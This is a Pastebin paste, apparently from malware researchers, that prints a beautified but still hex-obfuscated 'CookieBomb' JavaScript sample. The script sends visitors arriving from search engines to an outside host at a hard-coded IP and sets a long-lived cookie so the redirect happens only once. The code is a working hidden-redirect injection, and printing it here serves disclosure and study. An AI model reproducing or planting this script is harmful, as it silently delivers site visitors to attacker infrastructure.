SHARE
TWEET

CookieBomb Case Jan 2014

MalwareMustDie Jan 22nd, 2014 621 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // beautify the c0de:
  2.  
  3. var _0xe2b8=["\x72\x65\x66\x65\x72\x72\x65\x72","\x67\x6F\x6F\x67\x6C\x65","\x79\x61\x68\x6F\x6F","\x62\x69\x6E\x67","\x79\x61\x6E\x64\x65\x78","\x62\x61\x69\x64\x75","\x67\x69\x67\x61\x62\x6C\x61\x73\x74","\x73\x6F\x73\x6F","\x62\x6C\x65\x6B\x6B\x6F","\x65\x78\x61\x6C\x65\x61\x64","\x73\x6F\x67\x6F\x75","\x64\x75\x63\x6B\x64\x75\x63\x6B\x67\x6F","\x76\x6F\x6C\x75\x6E\x69\x61","\x6C\x65\x6E\x67\x74\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x32\x33\x39\x2E\x31\x35\x2E\x36\x31\x2F\x67\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x20","\x3D","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x72\x65\x66\x65\x72\x72\x65\x72\x52\x65\x64\x69\x72\x65\x63\x74\x43\x6F\x6F\x6B\x69\x65","\x64\x6F\x20\x6E\x6F\x74\x20\x72\x65\x64\x69\x72\x65\x63\x74"];
  4.  
  5. var from=document[_0xe2b8[0]];
  6. var i;
  7. var se=[_0xe2b8[1],_0xe2b8[2],_0xe2b8[3],_0xe2b8[4],_0xe2b8[5],_0xe2b8[6],
  8.        _0xe2b8[7],_0xe2b8[8],_0xe2b8[9],_0xe2b8[10],_0xe2b8[11],_0xe2b8[12]];
  9.  
  10. for(i=0;i<se[_0xe2b8[13]];++i)
  11.  {
  12.    if(from[_0xe2b8[14]](se[i])+1)
  13.    {
  14.      if(!checkCookie())
  15.      {
  16.        window[_0xe2b8[15]]=_0xe2b8[16];
  17.      };
  18.    };
  19.  };
  20.  
  21.  
  22. function getCookie(_0xecdex5)
  23.  {
  24.    var _0xecdex6=document[_0xe2b8[17]];
  25.    var _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[18]+_0xecdex5+_0xe2b8[19]);
  26.    if(_0xecdex7==-1)
  27.    {
  28.      _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xecdex5+_0xe2b8[19]);
  29.    };
  30.    if(_0xecdex7==-1)
  31.    {
  32.      _0xecdex6=null;
  33.    }
  34.    else
  35.    {
  36.      _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[19],_0xecdex7)+1;
  37.      var _0xecdex8=_0xecdex6[_0xe2b8[14]](_0xe2b8[20],_0xecdex7);
  38.      if(_0xecdex8==-1)
  39.      {
  40.        _0xecdex8=_0xecdex6[_0xe2b8[13]];
  41.      };
  42.      _0xecdex6=unescape(_0xecdex6[_0xe2b8[21]](_0xecdex7,_0xecdex8));
  43.    };
  44.    return _0xecdex6;
  45.  };
  46.  
  47.  
  48. function setCookie(_0xecdex5,_0xecdexa,_0xecdexb)
  49.  {
  50.    var _0xecdexc= new Date();
  51.    _0xecdexc[_0xe2b8[23]](_0xecdexc[_0xe2b8[22]]()+_0xecdexb);
  52.    var _0xecdex6=escape(_0xecdexa)+((_0xecdexb==null)?_0xe2b8[24]:_0xe2b8[25]+_0xecdexc[_0xe2b8[26]]());
  53.    document[_0xe2b8[17]]=_0xecdex5+_0xe2b8[19]+_0xecdex6;
  54.  };
  55.  
  56.  
  57.  
  58. function checkCookie()
  59.  {
  60.    var _0xecdexe=getCookie(_0xe2b8[27]);
  61.    if(_0xecdexe!=null&&_0xecdexe!=_0xe2b8[24])
  62.    {
  63.      return true;
  64.    }
  65.    else
  66.    {
  67.      setCookie(_0xe2b8[27],_0xe2b8[28],730);
  68.      return false;
  69.    };
  70.  };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top